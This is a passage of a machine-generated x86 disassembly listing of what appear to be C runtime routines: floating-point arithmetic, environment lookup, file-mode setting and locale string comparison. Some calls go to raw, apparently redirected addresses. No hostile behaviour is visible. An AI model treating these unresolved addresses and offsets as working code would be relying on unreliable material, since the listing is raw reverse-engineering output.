		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0

loc_425925:				; CODE XREF: sub_4256C2+F0j
		mov	eax, [ebp+var_4]

loc_425928:				; CODE XREF: sub_4256C2+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_42592D:				; CODE XREF: sub_4256C2+239j
					; sub_4256C2+275j
		cmp	eax, ecx
		jb	short loc_42593D
		cmp	byte ptr [eax],	30h
		jnz	short loc_425939
		dec	eax
		jmp	short loc_42592D
; ---------------------------------------------------------------------------

loc_425939:				; CODE XREF: sub_4256C2+272j
		cmp	eax, ecx
		jnb	short loc_425916

loc_42593D:				; CODE XREF: sub_4256C2+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h

loc_42594C:				; CODE XREF: sub_4256C2+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_425928
sub_4256C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425955	proc near		; CODE XREF: sub_42255C+226Dp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_4259BC
		dec	eax
		dec	eax
		jz	short loc_4259AD
		sub	eax, 4
		jz	short loc_4259AD
		sub	eax, 3
		jz	short loc_4259AD
		sub	eax, 4
		jz	short loc_4259A0
		sub	eax, 6
		jz	short loc_425993
		dec	eax
		jz	short loc_425986
		or	eax, 0FFFFFFFFh
		jmp	loc_425A7E
; ---------------------------------------------------------------------------

loc_425986:				; CODE XREF: sub_425955+27j
		mov	esi, dword_4DB57C
		mov	eax, offset dword_4DB57C
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------

loc_425993:				; CODE XREF: sub_425955+24j
		mov	esi, dword_4DB578
		mov	eax, offset dword_4DB578
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------

loc_4259A0:				; CODE XREF: sub_425955+1Fj
		mov	esi, dword_4DB580
		mov	eax, offset dword_4DB580
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------

loc_4259AD:				; CODE XREF: sub_425955+10j
					; sub_425955+15j ...
		push	edi
		call	sub_425A82
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------

loc_4259BC:				; CODE XREF: sub_425955+Cj
		mov	esi, dword_4DB574
		mov	eax, offset dword_4DB574

loc_4259C7:				; CODE XREF: sub_425955+3Cj
					; sub_425955+49j ...
		cmp	esi, 1
		jnz	short loc_4259D3
		xor	eax, eax
		jmp	loc_425A7E
; ---------------------------------------------------------------------------

loc_4259D3:				; CODE XREF: sub_425955+75j
		test	esi, esi
		jnz	short loc_4259DE
		push	3
		call	sub_41B7C2

loc_4259DE:				; CODE XREF: sub_425955+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_4259F0
		cmp	edi, 0Bh
		jz	short loc_4259F0
		cmp	edi, 4
		jnz	short loc_425A16

loc_4259F0:				; CODE XREF: sub_425955+8Fj
					; sub_425955+94j
		mov	ebx, dword_4DB350
		and	dword_4DB350, 0
		cmp	edi, ecx
		jnz	short loc_425A45
		mov	edx, dword_43C94C
		mov	dword_43C94C, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_425A19
; ---------------------------------------------------------------------------

loc_425A16:				; CODE XREF: sub_425955+99j
		mov	ebx, [ebp+arg_0]

loc_425A19:				; CODE XREF: sub_425955+BFj
		cmp	edi, ecx
		jnz	short loc_425A45
		mov	eax, dword_43C940
		mov	ecx, dword_43C944
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_425A4C
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:43C8D0h[edx*4]

loc_425A3A:				; CODE XREF: sub_425955+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_425A3A
		jmp	short loc_425A4C
; ---------------------------------------------------------------------------

loc_425A45:				; CODE XREF: sub_425955+AAj
					; sub_425955+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_425A5A

loc_425A4C:				; CODE XREF: sub_425955+D7j
					; sub_425955+EEj
		push	dword_43C94C
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_425A68
; ---------------------------------------------------------------------------

loc_425A5A:				; CODE XREF: sub_425955+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_425A68
		cmp	edi, 4
		jnz	short loc_425A7B

loc_425A68:				; CODE XREF: sub_425955+103j
					; sub_425955+10Cj
		cmp	edi, 8
		mov	dword_4DB350, ebx
		jnz	short loc_425A7B
		mov	eax, [ebp+arg_0]
		mov	dword_43C94C, eax

loc_425A7B:				; CODE XREF: sub_425955+111j
					; sub_425955+11Cj
		xor	eax, eax
		pop	ebx

loc_425A7E:				; CODE XREF: sub_425955+2Cj
					; sub_425955+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_425955	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_425A82	proc near		; CODE XREF: sub_425955+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43C948
		cmp	dword_43C8CC, edx
		push	esi
		mov	eax, offset dword_43C8C8
		jz	short loc_425AB0
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43C8C8h[esi*4]

loc_425AA4:				; CODE XREF: sub_425A82+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_425AB0
		cmp	[eax+4], edx
		jnz	short loc_425AA4

loc_425AB0:				; CODE XREF: sub_425A82+16j
					; sub_425A82+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43C8C8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_425AC4
		cmp	[eax+4], edx
		jz	short locret_425AC6

loc_425AC4:				; CODE XREF: sub_425A82+3Bj
		xor	eax, eax

locret_425AC6:				; CODE XREF: sub_425A82+40j
		retn
sub_425A82	endp


; =============== S U B	R O U T	I N E =======================================



sub_425AC7	proc near		; CODE XREF: sub_4247EC+23p

arg_0		= dword	ptr  4

		cmp	dword_4DC910, 0
		push	ebx
		push	esi
		mov	esi, dword_4DB2A0
		push	edi
		jz	short loc_425B3E
		test	esi, esi
		jnz	short loc_425AF8
		cmp	dword_4DB2A8, esi
		jz	short loc_425B3E
		call	sub_425E95
		test	eax, eax
		jnz	short loc_425B3E
		mov	esi, dword_4DB2A0
		test	esi, esi
		jz	short loc_425B3E

loc_425AF8:				; CODE XREF: sub_425AC7+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_425B3E
		push	ebx
		call	sub_41AFE0
		pop	ecx
		mov	edi, eax

loc_425B09:				; CODE XREF: sub_425AC7+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_425B3E
		push	eax
		call	sub_41AFE0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_425B31
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_425B31
		push	edi
		push	ebx
		push	eax
		call	sub_425E56
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425B36

loc_425B31:				; CODE XREF: sub_425AC7+51j
					; sub_425AC7+59j
		add	esi, 4
		jmp	short loc_425B09
; ---------------------------------------------------------------------------

loc_425B36:				; CODE XREF: sub_425AC7+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_425B40
; ---------------------------------------------------------------------------

loc_425B3E:				; CODE XREF: sub_425AC7+10j
					; sub_425AC7+1Cj ...
		xor	eax, eax

loc_425B40:				; CODE XREF: sub_425AC7+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_425AC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_425B44	proc near		; CODE XREF: sub_424F0A+8Bp
					; sub_424F0A+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DC6C0
		jnb	short loc_425BAB
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DC5C0[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_425BAB
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_425B84
		and	cl, 7Fh
		jmp	short loc_425B91
; ---------------------------------------------------------------------------

loc_425B84:				; CODE XREF: sub_425B44+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_425B9F
		or	cl, 80h

loc_425B91:				; CODE XREF: sub_425B44+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_425B9F:				; CODE XREF: sub_425B44+48j
		mov	dword_4DB278, 16h
		jmp	short loc_425BB5
; ---------------------------------------------------------------------------

loc_425BAB:				; CODE XREF: sub_425B44+Bj
					; sub_425B44+27j
		mov	dword_4DB278, 9

loc_425BB5:				; CODE XREF: sub_425B44+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_425B44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425BBA	proc near		; CODE XREF: sub_4256C2+165p
					; sub_425DDA+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_425DBA
		cmp	cx, 7FFFh
		jnb	loc_425DBA
		cmp	dx, 0BFFDh
		ja	loc_425DBA
		cmp	dx, 3FBFh
		ja	short loc_425C23
		xor	eax, eax
		jmp	short loc_425C5D
; ---------------------------------------------------------------------------

loc_425C23:				; CODE XREF: sub_425BBA+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_425C45
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_425C45
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_425C47
		cmp	[esi], eax
		jnz	short loc_425C47
		jmp	loc_425DB4
; ---------------------------------------------------------------------------

loc_425C45:				; CODE XREF: sub_425BBA+71j
					; sub_425BBA+79j
		xor	eax, eax

loc_425C47:				; CODE XREF: sub_425BBA+80j
					; sub_425BBA+84j
		cmp	cx, ax
		jnz	short loc_425C6A
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_425C6A
		cmp	[ebx+4], eax
		jnz	short loc_425C6A
		cmp	[ebx], eax
		jnz	short loc_425C6A

loc_425C5D:				; CODE XREF: sub_425BBA+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_425DD5
; ---------------------------------------------------------------------------

loc_425C6A:				; CODE XREF: sub_425BBA+90j
					; sub_425BBA+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5

loc_425C7A:				; CODE XREF: sub_425BBA+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_425CCE
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax

loc_425C96:				; CODE XREF: sub_425BBA+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425CC1
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]

loc_425CC1:				; CODE XREF: sub_425BBA+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_425C96

loc_425CCE:				; CODE XREF: sub_425BBA+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_425C7A
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_425D11

loc_425CEC:				; CODE XREF: sub_425BBA+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_425D0A
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4250CF
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425CEC

loc_425D0A:				; CODE XREF: sub_425BBA+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425D4A

loc_425D11:				; CODE XREF: sub_425BBA+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_425D4A
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax

loc_425D2A:				; CODE XREF: sub_425BBA+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_425D33
		inc	[ebp+var_14]

loc_425D33:				; CODE XREF: sub_425BBA+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4250FD
		dec	ebx
		pop	ecx
		jnz	short loc_425D2A
		cmp	[ebp+var_14], 0
		jz	short loc_425D4A
		or	byte ptr [ebp+var_24], 1

loc_425D4A:				; CODE XREF: sub_425BBA+155j
					; sub_425BBA+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_425D61
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_425D96

loc_425D61:				; CODE XREF: sub_425BBA+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_425D93
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_425D8E
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_425D88
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_425D96
; ---------------------------------------------------------------------------

loc_425D88:				; CODE XREF: sub_425BBA+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_425D96
; ---------------------------------------------------------------------------

loc_425D8E:				; CODE XREF: sub_425BBA+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_425D96
; ---------------------------------------------------------------------------

loc_425D93:				; CODE XREF: sub_425BBA+1ABj
		inc	[ebp+var_24+2]

loc_425D96:				; CODE XREF: sub_425BBA+1A5j
					; sub_425BBA+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_425DBA
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx

loc_425DB4:				; CODE XREF: sub_425BBA+86j
		mov	[esi+0Ah], ax
		jmp	short loc_425DD5
; ---------------------------------------------------------------------------

loc_425DBA:				; CODE XREF: sub_425BBA+42j
					; sub_425BBA+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi

loc_425DD5:				; CODE XREF: sub_425BBA+ABj
					; sub_425BBA+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425BBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425DDA	proc near		; CODE XREF: sub_4251F1+440p
					; sub_4256C2+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43CDC8
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_425E53
		jge	short loc_425E02
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43CF28
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h

loc_425E02:				; CODE XREF: sub_425DDA+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_425E0D
		mov	eax, [ebp+arg_0]
		mov	[eax], cx

loc_425E0D:				; CODE XREF: sub_425DDA+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_425E53
		push	esi
		push	edi

loc_425E14:				; CODE XREF: sub_425DDA+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_425E4C
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_425E3F
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]

loc_425E3F:				; CODE XREF: sub_425DDA+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_425BBA
		pop	ecx
		pop	ecx
		xor	ecx, ecx

loc_425E4C:				; CODE XREF: sub_425DDA+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_425E14
		pop	edi
		pop	esi

loc_425E53:				; CODE XREF: sub_425DDA+14j
					; sub_425DDA+36j
		pop	ebx
		leave
		retn
sub_425DDA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425E56	proc near		; CODE XREF: sub_425AC7+5Ep
					; sub_426332+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_425E63
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_425E63:				; CODE XREF: sub_425E56+7j
		push	dword_4DC6C4
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_4DC8E4
		call	sub_425F03
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_425E90
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_425E90:				; CODE XREF: sub_425E56+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_425E56	endp


; =============== S U B	R O U T	I N E =======================================



sub_425E95	proc near		; CODE XREF: sub_425AC7+1Ep
					; sub_4261AB+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4DB2A8
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_425EF6
		mov	ebx, dword_42717C

loc_425EAE:				; CODE XREF: sub_425E95+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_425EFE
		push	ebp
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_425EFE
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx
		test	eax, eax
		jz	short loc_425EFE
		push	edi
		push	[esp+18h+var_4]
		call	sub_4261AB
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_425EAE

loc_425EF6:				; CODE XREF: sub_425E95+11j
		xor	eax, eax

loc_425EF8:				; CODE XREF: sub_425E95+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_425EFE:				; CODE XREF: sub_425E95+29j
					; sub_425E95+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_425EF8
sub_425E95	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425F03	proc near		; CODE XREF: sub_425E56+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427CF0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_4DB588, ebx
		push	1
		pop	edi
		jnz	short loc_425F76
		push	edi
		mov	eax, offset dword_427940
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		nop
		call	near ptr 25E0000h
		test	eax, eax
		jz	short loc_425F53
		mov	dword_4DB588, edi
		jmp	short loc_425F76
; ---------------------------------------------------------------------------

loc_425F53:				; CODE XREF: sub_425F03+46j
		push	edi
		mov	eax, offset dword_4CAE2C
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		nop
		call	near ptr 25E0595h
		test	eax, eax
		jz	loc_42616C
		mov	dword_4DB588, 2

loc_425F76:				; CODE XREF: sub_425F03+31j
					; sub_425F03+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_425F8D
		push	esi
		push	[ebp+arg_8]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi

loc_425F8D:				; CODE XREF: sub_425F03+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_425FA2
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax

loc_425FA2:				; CODE XREF: sub_425F03+8Dj
		mov	eax, dword_4DB588
		cmp	eax, 2
		jnz	short loc_425FC7
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 25E0595h
		jmp	loc_42616E
; ---------------------------------------------------------------------------

loc_425FC7:				; CODE XREF: sub_425F03+A7j
		cmp	eax, edi
		jnz	loc_42616C
		cmp	[ebp+arg_18], ebx
		jnz	short loc_425FDC
		mov	eax, dword_4DB344
		mov	[ebp+arg_18], eax

loc_425FDC:				; CODE XREF: sub_425F03+CFj
		cmp	esi, ebx
		jz	short loc_425FE9
		cmp	[ebp+arg_14], ebx
		jnz	loc_426081

loc_425FE9:				; CODE XREF: sub_425F03+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_425FF6

loc_425FEE:				; CODE XREF: sub_425F03+13Cj
					; sub_425F03+16Dj
		push	2

loc_425FF0:				; CODE XREF: sub_425F03+146j
		pop	eax
		jmp	loc_42616E
; ---------------------------------------------------------------------------

loc_425FF6:				; CODE XREF: sub_425F03+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_426002

loc_425FFB:				; CODE XREF: sub_425F03+151j
					; sub_425F03+159j ...
		mov	eax, edi
		jmp	loc_42616E
; ---------------------------------------------------------------------------

loc_426002:				; CODE XREF: sub_425F03+F6j
		cmp	esi, edi
		jg	short loc_426047
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		call	near ptr 28A0000h
		nop
		test	eax, eax
		jz	loc_42616C
		cmp	esi, ebx
		jle	short loc_42604B
		cmp	[ebp+var_3C], 2
		jb	short loc_426047
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_426047

loc_42602D:				; CODE XREF: sub_425F03+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_426047
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426041
		cmp	cl, dl
		jbe	short loc_425FEE

loc_426041:				; CODE XREF: sub_425F03+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42602D

loc_426047:				; CODE XREF: sub_425F03+101j
					; sub_425F03+120j ...
		push	3
		jmp	short loc_425FF0
; ---------------------------------------------------------------------------

loc_42604B:				; CODE XREF: sub_425F03+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_426081
		cmp	[ebp+var_3C], 2
		jb	short loc_425FFB
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_425FFB

loc_42605E:				; CODE XREF: sub_425F03+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_425FFB
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426076
		cmp	cl, dl
		jbe	loc_425FEE

loc_426076:				; CODE XREF: sub_425F03+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42605E
		jmp	loc_425FFB
; ---------------------------------------------------------------------------

loc_426081:				; CODE XREF: sub_425F03+E0j
					; sub_425F03+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		nop
		call	near ptr 2810000h
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_42616C
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4260D0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi

loc_4260D0:				; CODE XREF: sub_425F03+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_42616C
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_427180
		call	esi
		test	eax, eax
		jz	short loc_42616C
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_42616C
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42613B
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]

loc_42613B:				; CODE XREF: sub_425F03+224j
		cmp	edi, ebx
		jz	short loc_42616C
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2810000h
		test	eax, eax
		jz	short loc_42616C
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 25E0000h
		jmp	short loc_42616E
; ---------------------------------------------------------------------------

loc_42616C:				; CODE XREF: sub_425F03+63j
					; sub_425F03+C6j ...
		xor	eax, eax

loc_42616E:				; CODE XREF: sub_425F03+BFj
					; sub_425F03+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425F03	endp


; =============== S U B	R O U T	I N E =======================================



sub_426180	proc near		; CODE XREF: sub_422ACA+81p
					; sub_425F03+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_42619D

loc_426190:				; CODE XREF: sub_426180+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_42619D
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_426190

